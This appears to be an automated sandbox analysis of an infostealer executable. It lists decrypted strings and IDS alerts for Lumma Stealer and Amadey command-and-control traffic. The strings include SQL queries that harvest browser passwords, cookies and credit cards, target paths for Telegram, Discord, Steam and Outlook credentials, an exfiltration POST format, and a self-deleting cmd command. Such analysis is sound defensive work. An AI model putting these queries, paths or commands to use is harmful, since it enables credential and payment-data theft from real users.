Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_finalize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_close
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: encrypted_key
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PATH
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: NSS_Init
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: NSS_Shutdown
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PK11_Authenticate
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: C:\ProgramData\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: browser:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: profile:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: url:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: login:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: password:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Opera
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: OperaGX
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Network
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: cookies
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: .txt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: TRUE
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: FALSE
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: autofill
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: history
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: cc
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: name:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: month:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: year:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: card:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Cookies
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Login Data
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Web Data
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: History
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: logins.json
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: formSubmitURL
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: usernameField
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: encryptedUsername
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: encryptedPassword
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: guid
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: cookies.sqlite
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: formhistory.sqlite
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: places.sqlite
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: plugins
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Local Extension Settings
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Sync Extension Settings
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: IndexedDB
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Opera Stable
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Opera GX Stable
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CURRENT
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: chrome-extension_
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Local State
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: profiles.ini
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: chrome
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: opera
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: firefox
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: wallets
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ProductName
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: x32
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: x64
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ProcessorNameString
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DisplayName
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DisplayVersion
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Network Info:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - IP: IP?
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Country: ISO?
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: System Summary:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - HWID:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - OS:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Architecture:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - UserName:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Computer Name:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Local Time:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - UTC:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Language:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Keyboards:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Laptop:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Running Path:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - CPU:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Threads:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Cores:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - RAM:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - Display Resolution:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: - GPU:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: User Agents:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Installed Apps:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: All Users:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Current User:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Process List:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: system_info.txt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: freebl3.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: mozglue.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: msvcp140.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: nss3.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: softokn3.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: vcruntime140.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Temp\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: .exe
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: runas
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: open
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: /c start
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %DESKTOP%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %APPDATA%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %USERPROFILE%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %RECENT%
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: *.lnk
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: files
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \discord\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: key_datas
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: map*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Telegram
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Tox
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: *.tox
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: *.ini
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Password
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 00000001
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 00000002
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 00000003
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 00000004
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Pidgin
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \.purple\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: accounts.xml
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: token:
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SteamPath
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \config\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ssfn*
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: config.vdf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: loginusers.vdf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Steam\
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: browsers
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: done
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: soft
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: https
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: POST
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HTTP/1.1
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: hwid
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: build
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: token
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: file_name
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: file
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: message
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50316 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50328 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 1664VO856PFRR45SNXLF.exe, 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmp, 1664VO856PFRR45SNXLF.exe, 00000003.00000003.2302933852.0000000004640000.00000004.00001000.00020000.00000000.sdmp, DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe, 00000020.00000003.3105769279.0000000004900000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Directory queried: number of queries: 1911

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 191MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:51711 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:59031 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:49432 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:59329 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:53590 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50176 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:51829 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:58736 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50190
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:59738 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50232 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50231 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50234 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50235 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50236 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50237 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50238 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50239 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50242 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:65441 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:64757 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:60704 -> 1.1.1.1:53
